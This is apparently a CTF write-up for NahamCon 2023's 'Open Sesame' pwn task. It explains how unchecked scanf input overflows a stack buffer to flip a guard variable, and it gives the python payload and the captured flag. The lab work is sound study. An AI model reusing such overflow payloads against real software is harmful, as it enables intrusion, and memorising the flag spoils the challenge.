Home / CTF events / NahamCon CTF 2023 / Tasks / Open Sesame / Writeup

Open Sesame

by Davidpb / Davidpb

Tags: buffer-overflow pwn

Rating:

NahamCon 2023

Open Sesame

> Something about forty thieves or something? I don't know, they must have had some secret incantation to get the gold!
> Author: @JohnHammond#6971

Tags: *pwn*

Solution

For this challenge the executable and the source code is provided. Inspecting the executable is not really needed as the challenge is really basic. The main function straight jumps into `caveOfGold`. In this function two conditions need to be matched:

```
if (caveCanOpen == no)
{
    puts("Sorry, the cave will not open right now!");
    flushBuffers();
    return;
}

if (isPasswordCorrect(inputPass) == yes)
{
    puts("YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:");
    flag();
}
else
{
    puts("ERROR, INCORRECT PASSWORD!");
    flushBuffers();
}
```

The user input is written to `inputPass` that is a 256 byte array following on the stack right `caveCanOpen`. Since `scanf` is used the input can overflow without problems and override `caveCanOpen` with any value. The condition checks for `no` which is an enum and equal to `0`, so we need an non zero value in `caveCanOpen`. Inspecting the real offset of `caveCanOpen` after `inputPass` reveals that the array length is actually `268` bytes.

The second condition is a password check. `SECRET_PASS` is a clear string in code.

```
#define SECRET_PASS "OpenSesame!!!"
```

```
...

Bool isPasswordCorrect(char *input)
{
    return (strncmp(input, SECRET_PASS, strlen(SECRET_PASS)) == 0) ? yes : no;
}
```

The final payload needs to start with `OpenSesame!!!`, some values filling the whole buffer and then one non zero byte overriding `caveCanOpen`. Note that no null byte is needed after the password, since the password check uses `strncmp`.

```
$ python -c 'print("OpenSesame!!!" + "X"*256);'
OpenSesame!!!XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
```

Using this payload with the service leads the flag

```
YOU HAVE PROVEN YOURSELF WORTHY HERE IS THE GOLD:
flag{85605e34d3d2623866c57843a0d2c4da}
```

Flag `flag{85605e34d3d2623866c57843a0d2c4da}`

Original writeup (https://github.com/D13David/ctf-writeups/blob/main/nahamcon23/pwn/open_sesame/README.md).

Comments